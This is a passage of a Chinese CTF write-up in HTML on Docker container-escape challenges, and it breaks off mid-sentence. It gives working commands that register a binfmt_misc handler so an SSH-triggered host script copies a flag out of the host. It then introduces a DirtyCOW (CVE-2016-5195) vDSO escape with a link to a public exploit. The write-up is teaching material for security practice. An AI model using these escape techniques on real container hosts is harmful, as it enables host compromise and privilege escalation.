class="code-snippet_outer"><span class="code-snippet__selector-tag">name</span><span class="code-snippet__selector-pseudo">:type</span><span class="code-snippet__selector-pseudo">:offset</span><span class="code-snippet__selector-pseudo">:magic</span><span class="code-snippet__selector-pseudo">:mask</span><span class="code-snippet__selector-pseudo">:interpreter</span><span class="code-snippet__selector-pseudo">:flags</span></span></code></section></pre></section><section style="line-height: 1.75em;text-align: left;margin-bottom: 0px;"><br/></section></article><section style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size:15px;">这个配置中每个字段都用冒号 : 分割，某些字段拥有默认值可以跳过，但是必须保留相应的冒号分割符。</span></section><section style="line-height: 1.75em;margin-bottom: 0px;"><br/></section><section style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size:15px;">各个字段的意义如下：</span></section><section style="margin-bottom: 0px;"><br/></section><section data-role="list" style="margin-bottom: 24px;"><ul style="padding-left: 30px;" class="list-paddingleft-1"><li><section style="line-height: 1.75em;margin-bottom: 0px;"><strong style="line-height: 1.71em;"><span style="font-size: 15px;color: #7ac259;">name</span></strong><span style="font-size:15px;">：规则名</span></section></li><li><p style="line-height: 1.75em;margin-top: 10px;"><strong style="line-height: 1.71em;"><span style="font-size: 15px;color: #7ac259;">type</span></strong><span style="font-size:15px;">：表示如何匹配被打开的文件，值为 E 或 M 。E 表示根据扩展名识别，而 M 表示根据文件特定位置的 Magic Bytes来识别</span></p></li><li><p style="line-height: 1.75em;margin-top: 10px;"><strong style="line-height: 1.71em;"><span style="font-size: 15px;color: #7ac259;">offset</span></strong><span style="font-size:15px;">：type字段设置成 M 之后有效，表示查找 Magic Bytes的偏移，默认为0</span></p></li><li><p style="line-height: 1.75em;margin-top: 10px;"><strong style="line-height: 1.71em;"><span style="font-size: 15px;color: #7ac259;">magic</span></strong><span style="font-size:15px;">：表示要匹配的 Magic Bytes，type 字段为 M 时，表示文件的扩展名，扩展名是大小写敏感的，不需要包含 .。type字段为 E 时，表示 Magic Bytes，其中不可见字符可以通过 \xff 的方式来输出</span></p></li><li><p style="line-height: 1.75em;margin-top: 10px;"><strong style="font-size: 15px;line-height: 1.67em;"><span style="color: rgb(122, 194, 89);">mask</span></strong><span style="font-size:15px;">：type字段设置成 M 之后有效，长度与 Magic Bytes 的长度一致。如果某一位为1，表 magic 对应的位匹配，为0则忽略。默认为全部匹配</span></p></li><li><p style="line-height: 1.75em;margin-top: 10px;"><strong style="font-size: 15px;line-height: 1.67em;"><span style="color: rgb(122, 194, 89);">interpreter</span></strong><span style="font-size:15px;">：启动文件的程序，需要是绝对路径</span></p></li><li><p style="line-height: 1.75em;margin-top: 10px;"><strong style="font-size: 15px;line-height: 1.67em;"><span style="color: rgb(122, 194, 89);">flags:</span></strong><span style="font-size:15px;"> 可选字段，控制 interpreter 打开文件的行为，共支持 POCF 四种flag</span></p></li></ul></section><section style="margin-bottom: 0px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">因此我们可以注册一个自己的 binfmt， 然后让其 HOST 执行相应的文件，就可以完成逃逸。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">关键是如何在 HOST 执行相应的文件。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;">观察出题人给的条件,  出题人给了 ssh 登陆的途径。</span><br/></section><section style="margin-bottom: 0px;"><br/></section><section style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size:15px;">我们通过 strace sshd 进程 ，会发现 sshd 服务当有 ssh 尝试连接的时候会执行一些 bash 脚本，例如 </span><span style="font-size: 15px;background-color: rgb(166, 166, 166);">etc/update-motd.d/00-header</span></section><section style="margin-bottom: 0px;"><br/></section><p style="text-align: center;margin-bottom: 24px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.12836079791847355" data-s="300,640" style="" data-type="png" data-w="1153" src="https://wechat2rss.xlab.app/img-proxy/?k=df047f71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxcQERun6EYQXvw4LghJ5koglArr5cibiaRUku6bEllZYBicE3Iw6LJLucg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: center;margin-bottom: 0px;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="108" data-backw="503" data-ratio="0.2147117296222664" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="503" src="https://wechat2rss.xlab.app/img-proxy/?k=7d8c52b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxgAYjibLEMIFjVYkAddibCHZ2upevfBT5AT59PkBEiaABAghhmCicIcciciag%2F640%3Fwx_fmt%3Dpng"/></section><section style="margin-bottom: 0px;"><br/></section><section style="margin-bottom: 0px;"><span style="font-size:15px;">至此打通了逃逸的路径</span></section><section style="margin-bottom: 0px;"><br/></section><p style="margin-bottom: 0px;"><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">完整利用过程：</span><br/></p><section style="margin-bottom: 0px;"><br/></section><section data-role="list" style="margin-bottom: 24px;"><p style="margin-bottom: 0px;margin-top: 0px;"><span style="font-size: 15px;">1、首先注册一个自己的 binfmt</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;:test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/<span class="code-snippet__variable">$overlay</span>/diff/tmp/exploit:&#34;</span> &gt; /binfmt_misc/register</span></code></pre></section><p><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;ind&#34;:{&#34;left&#34;:0},&#34;uuid&#34;:&#34;lcq1wk5zwqefatzyaog&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;例如上一条语句，即为注册一个名 test， magic 为 &#34;]],[&#34;inlineCode&#34;,{},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;#!/bin/sh&#34;]]],[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34; , &#34;]],[&#34;inlineCode&#34;,{},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;interpreter&#34;]]],[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;位于 &#34;]],[&#34;inlineCode&#34;,{},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;/var/lib/docker/overlay2/$overlay/diff/tmp/exploit&#34;]]],[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34; 的 binfmt ，其中 &#34;]],[&#34;inlineCode&#34;,{},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;$overlay2&#34;]]],[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;我们可以在 docker 中使用  mount 命令来获取&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMmluZCUyMiUzQSU3QiUyMmxlZnQlMjIlM0EwJTdEJTJDJTIydXVpZCUyMiUzQSUyMmxjcTF3azV6d3FlZmF0enlhb2clMjIlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlRTQlQkUlOEIlRTUlQTYlODIlRTQlQjglOEElRTQlQjglODAlRTYlOUQlQTElRTglQUYlQUQlRTUlOEYlQTUlRUYlQkMlOEMlRTUlOEQlQjMlRTQlQjglQkElRTYlQjMlQTglRTUlODYlOEMlRTQlQjglODAlRTQlQjglQUElRTUlOTAlOEQlMjB0ZXN0JUVGJUJDJThDJTIwbWFnaWMlMjAlRTQlQjglQkElMjAlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCUyQyU3QiUyMmtsYXNzJTIyJTNBJTIyaW5saW5lJTIyJTJDJTIydHlwZSUyMiUzQSUyMmlubGluZUNvZGUlMjIlMkMlMjJkYXRhJTIyJTNBJTdCJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIzISUyRmJpbiUyRnNoJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwJTJDJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJpbmxpbmVDb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMmludGVycHJldGVyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU0JUJEJThEJUU0JUJBJThFJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJpbmxpbmVDb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyRnZhciUyRmxpYiUyRmRvY2tlciUyRm92ZXJsYXkyJTJGJTI0b3ZlcmxheSUyRmRpZmYlMkZ0bXAlMkZleHBsb2l0JTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJTIwJUU3JTlBJTg0JTIwYmluZm10JTIwJUVGJUJDJThDJUU1JTg1JUI2JUU0JUI4JUFEJTIwJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMmlubGluZSUyMiUyQyUyMnR5cGUlMjIlM0ElMjJpbmxpbmVDb2RlJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyNG92ZXJsYXkyJTIyJTJDJTIybWFya3MlMjIlM0ElNUIlNUQlN0QlNUQlN0QlNUQlN0QlMkMlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JTg4JTkxJUU0JUJCJUFDJUU1JThGJUFGJUU0JUJCJUE1JUU1JTlDJUE4JTIwZG9ja2VyJTIwJUU0JUI4JUFEJUU0JUJEJUJGJUU3JTk0JUE4JTIwJTIwbW91bnQlMjAlRTUlOTElQkQlRTQlQkIlQTQlRTYlOUQlQTUlRTglOEUlQjclRTUlOEYlOTYlMjIlMkMlMjJtYXJrcyUyMiUzQSU1QiU1RCU3RCU1RCU3RCU1RCU3RCU1RCU3RA==" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p style="line-height: 1.75em;margin-bottom: 0px;"><span style="font-size: 15px;">例如上一条语句，即为注册一个名 test， magic 为 </span><span style="font-size: 15px;background-color: rgb(166, 166, 166);">#!/bin/sh</span><span style="font-size: 15px;"> , </span><span style="font-size: 15px;background-color: rgb(166, 166, 166);">interpreter</span><span style="font-size: 15px;">位于</span><span style="font-size: 15px;background-color: rgb(166, 166, 166);"> /var/lib/docker/overlay2/$overlay/diff/tmp/exploit </span><span style="font-size: 15px;">的 binfmt ，其中</span><span style="font-size: 15px;background-color: rgb(166, 166, 166);"> $overlay2 </span><span style="font-size: 15px;">我们可以在 docker 中使用  mount 命令来获取</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p></article></section><section data-role="list" style="margin-bottom: 24px;"><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;ind&#34;:{&#34;left&#34;:0},&#34;uuid&#34;:&#34;lcq30teq0afztdcavwrv&#34;,&#34;list&#34;:{&#34;listId&#34;:&#34;xhp93g0w1dm&#34;,&#34;level&#34;:0,&#34;isOrdered&#34;:true,&#34;isTaskList&#34;:false,&#34;listStyleType&#34;:&#34;DEC_LEN_LROM_P&#34;,&#34;symbolStyle&#34;:{},&#34;listStyle&#34;:{&#34;format&#34;:&#34;decimal&#34;,&#34;text&#34;:&#34;%1.&#34;,&#34;align&#34;:&#34;left&#34;},&#34;hideSymbol&#34;:false}},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;往 &#34;]],[&#34;inlineCode&#34;,{},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;/var/lib/docker/overlay2/$overlay/diff/tmp/exploit&#34;]]],[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34; 写入我们要执行的&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMmluZCUyMiUzQSU3QiUyMmxlZnQlMjIlM0EwJTdEJTJDJTIydXVpZCUyMiUzQSUyMmxjcTMwdGVxMGFmenRkY2F2d3J2JTIyJTJDJTIybGlzdCUyMiUzQSU3QiUyMmxpc3RJZCUyMiUzQSUyMnhocDkzZzB3MWRtJTIyJTJDJTIybGV2ZWwlMjIlM0EwJTJDJTIyaXNPcmRlcmVkJTIyJTNBdHJ1ZSUyQyUyMmlzVGFza0xpc3QlMjIlM0FmYWxzZSUyQyUyMmxpc3RTdHlsZVR5cGUlMjIlM0ElMjJERUNfTEVOX0xST01fUCUyMiUyQyUyMnN5bWJvbFN0eWxlJTIyJTNBJTdCJTdEJTJDJTIybGlzdFN0eWxlJTIyJTNBJTdCJTIyZm9ybWF0JTIyJTNBJTIyZGVjaW1hbCUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMjUxLiUyMiUyQyUyMmFsaWduJTIyJTNBJTIybGVmdCUyMiU3RCUyQyUyMmhpZGVTeW1ib2wlMjIlM0FmYWxzZSU3RCU3RCUyQyUyMm5vZGVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiVFNSVCRSU4MCUyMCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJpbmxpbmUlMjIlMkMlMjJ0eXBlJTIyJTNBJTIyaW5saW5lQ29kZSUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIydGV4dCUyMiUyQyUyMmxlYXZlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIybGVhZiUyMiUyQyUyMnRleHQlMjIlM0ElMjIlMkZ2YXIlMkZsaWIlMkZkb2NrZXIlMkZvdmVybGF5MiUyRiUyNG92ZXJsYXklMkZkaWZmJTJGdG1wJTJGZXhwbG9pdCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTJDJTdCJTIya2xhc3MlMjIlM0ElMjJ0ZXh0JTIyJTJDJTIybGVhdmVzJTIyJTNBJTVCJTdCJTIya2xhc3MlMjIlM0ElMjJsZWFmJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyMCVFNSU4NiU5OSVFNSU4NSVBNSVFNiU4OCU5MSVFNCVCQiVBQyVFOCVBNiU4MSVFNiU4OSVBNyVFOCVBMSU4QyVFNyU5QSU4NCUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p style="text-align: left;"><span style="font-size: 15px;">2、往</span><span style="font-size: 15px;background-color: rgb(166, 166, 166);"> /var/lib/docker/overlay2/$overlay/diff/tmp/exploit </span><span style="font-size: 15px;">写入我们要执行的命令</span></p></article><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#39;#!/bin/bash&#39;</span> &gt; /tmp/exploit</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">echo</span> <span class="code-snippet__string">&#34;docker cp /root/flag <span class="code-snippet__variable">$container</span>:/tmp/&#34;</span> &gt;&gt; /tmp/exploit</span></code><code><span class="code-snippet_outer">chmod 777 /tmp/exploit</span></code></pre></section><p><br/></p><article data-clipboard-cangjie="[&#34;root&#34;,{&#34;copyFrom&#34;:1322265839},[&#34;p&#34;,{&#34;ind&#34;:{&#34;left&#34;:0},&#34;uuid&#34;:&#34;lcq321qdzfa554ol45c&#34;,&#34;list&#34;:{&#34;listId&#34;:&#34;xhp93g0w1dm&#34;,&#34;level&#34;:0,&#34;isOrdered&#34;:true,&#34;isTaskList&#34;:false,&#34;listStyleType&#34;:&#34;DEC_LEN_LROM_P&#34;,&#34;symbolStyle&#34;:{},&#34;listStyle&#34;:{&#34;format&#34;:&#34;decimal&#34;,&#34;text&#34;:&#34;%1.&#34;,&#34;align&#34;:&#34;left&#34;},&#34;hideSymbol&#34;:false}},[&#34;span&#34;,{&#34;data-type&#34;:&#34;text&#34;},[&#34;span&#34;,{&#34;data-type&#34;:&#34;leaf&#34;},&#34;最后再使用 ssh 登陆一次即可获取 flag&#34;]]]]" data-identifier-application__slash__x-cangjie-fragment="JTdCJTIya2xhc3MlMjIlM0ElMjJkb2N1bWVudCUyMiUyQyUyMmRhdGElMjIlM0ElN0IlN0QlMkMlMjJub2RlcyUyMiUzQSU1QiU3QiUyMmtsYXNzJTIyJTNBJTIyYmxvY2slMjIlMkMlMjJ0eXBlJTIyJTNBJTIycGFyYWdyYXBoJTIyJTJDJTIyZGF0YSUyMiUzQSU3QiUyMmluZCUyMiUzQSU3QiUyMmxlZnQlMjIlM0EwJTdEJTJDJTIydXVpZCUyMiUzQSUyMmxjcTMyMXFkemZhNTU0b2w0NWMlMjIlMkMlMjJsaXN0JTIyJTNBJTdCJTIybGlzdElkJTIyJTNBJTIyeGhwOTNnMHcxZG0lMjIlMkMlMjJsZXZlbCUyMiUzQTAlMkMlMjJpc09yZGVyZWQlMjIlM0F0cnVlJTJDJTIyaXNUYXNrTGlzdCUyMiUzQWZhbHNlJTJDJTIybGlzdFN0eWxlVHlwZSUyMiUzQSUyMkRFQ19MRU5fTFJPTV9QJTIyJTJDJTIyc3ltYm9sU3R5bGUlMjIlM0ElN0IlN0QlMkMlMjJsaXN0U3R5bGUlMjIlM0ElN0IlMjJmb3JtYXQlMjIlM0ElMjJkZWNpbWFsJTIyJTJDJTIydGV4dCUyMiUzQSUyMiUyNTEuJTIyJTJDJTIyYWxpZ24lMjIlM0ElMjJsZWZ0JTIyJTdEJTJDJTIyaGlkZVN5bWJvbCUyMiUzQWZhbHNlJTdEJTdEJTJDJTIybm9kZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMnRleHQlMjIlMkMlMjJsZWF2ZXMlMjIlM0ElNUIlN0IlMjJrbGFzcyUyMiUzQSUyMmxlYWYlMjIlMkMlMjJ0ZXh0JTIyJTNBJTIyJUU2JTlDJTgwJUU1JTkwJThFJUU1JTg2JThEJUU0JUJEJUJGJUU3JTk0JUE4JTIwc3NoJTIwJUU3JTk5JUJCJUU5JTk5JTg2JUU0JUI4JTgwJUU2JUFDJUExJUU1JThEJUIzJUU1JThGJUFGJUU4JThFJUI3JUU1JThGJTk2JTIwZmxhZyUyMiUyQyUyMm1hcmtzJTIyJTNBJTVCJTVEJTdEJTVEJTdEJTVEJTdEJTVEJTdE" data-identifier-application__slash__x-doc-key="w5VLqXgzQVKxnX19"><p style="text-align: left;"><span style="font-size: 15px;">3、最后再使用 ssh 登陆一次即可获取 flag</span></p></article><p><br/></p><section data-role="title" data-tools="135编辑器" data-id="93368" data-color="#7ac259"><section style="margin-top: 10px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;"><section style="padding-top: 0.65em;box-sizing: border-box;"><section style="box-sizing:border-box;max-width: 100% !important;width: 100%;height: 1px;background-color: #7ac259;overflow: hidden;" data-width="100%" data-darkmode-bgcolor="rgb(122, 194, 89)" data-darkmode-original-bgcolor="rgb(122, 194, 89)" class="js_darkmode__10076"><br/></section><section style="margin-top: -0.65em;box-sizing: border-box;"><section style="display: inline-block;vertical-align: top;height: 1.3em;line-height: 1.3em;padding-top: 1px;padding-right: 8px;padding-left: 8px;border-left: 3px solid #7ac259;border-right: 3px solid #7ac259;background-color: #ffffff;border-top-color: #7ac259;border-bottom-color: #7ac259;color: #7ac259;box-sizing: border-box;" class="js_darkmode__10077" data-brushtype="text" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><strong data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)"><span style="font-size:18px;" data-darkmode-bgcolor="rgb(36, 36, 36)" data-darkmode-original-bgcolor="rgb(255, 255, 255)" data-darkmode-color="rgb(122, 194, 89)" data-darkmode-original-color="rgb(122, 194, 89)">Be-a-Docker-Escaper-3</span></strong></section></section></section></section></section><p><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">首先查看内核版本 ，可以发现是一个比较旧的内核版本</span></p><p><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.06454816285998013" data-s="300,640" style="" data-type="png" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=a5e74ad2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFOh11C4BDicSa45ZntjWN8pNRjhlniazkxIcBaqHvUQbhUibJzncyUYH5XHFsA3ND9qtYboynbPEKRQvXOwMQTdvA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="line-height:1.75em;"><span style="font-size:15px;">再结合题目描述和名字，可以知道这题应该需要使用 CVE-2016-5195 也就是著名的DirtyCOW 漏洞来进行容器逃逸。</span></p><p style="line-height:1.75em;"><span style="font-size:15px;"><br/></span></p><p style="line-height:1.75em;"><span style="font-size:15px;">想要使用 DirtyCOW 进行容器逃逸，需要使用 DirtyCOW-<span style="color: rgb(23, 26, 29);font-family: -apple-system, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;text-align: left;white-space: pre-wrap;caret-color: rgb(23, 26, 29);background-color: rgb(255, 255, 255);">vDSO</span> 的利用方式，也就是通过 DirtyCOW 覆盖 </span><span style="caret-color: rgb(23, 26, 29);color: rgb(23, 26, 29);font-family: -apple-system, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;text-align: left;white-space: pre-wrap;text-size-adjust: auto;background-color: rgb(255, 255, 255);font-size: 15px;">vDSO </span><span style="font-size:15px;">数据来实现对容器的逃逸。但是现有最著名的 <span style="color: rgb(51, 51, 51);font-size: 15px;letter-spacing: normal;text-decoration: none solid rgb(51, 51, 51);">vDSO</span> 逃逸利用</span><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(77, 189, 199);"><a href="https://github.com/scumjr/dirtycow-vdso" target="_blank">https://github.com/scumjr/dirtycow-vdso</a></span><span style="font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">存在以下两个问题：</span></p><section data-role="list"><ol style="padding-left: 30px;" class="list-paddingleft-1"><li style="font-size: 15px;"><p style="line-height: 1.75em;margin-top: 15px;text-align: left;"><span style="font-size: 15px;">该利用使用 ptrace 方式来实现对 <span style="color: rgb(23, 26, 29);font-family: -apple-system, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Segoe UI&#34;, system-ui, Roboto, 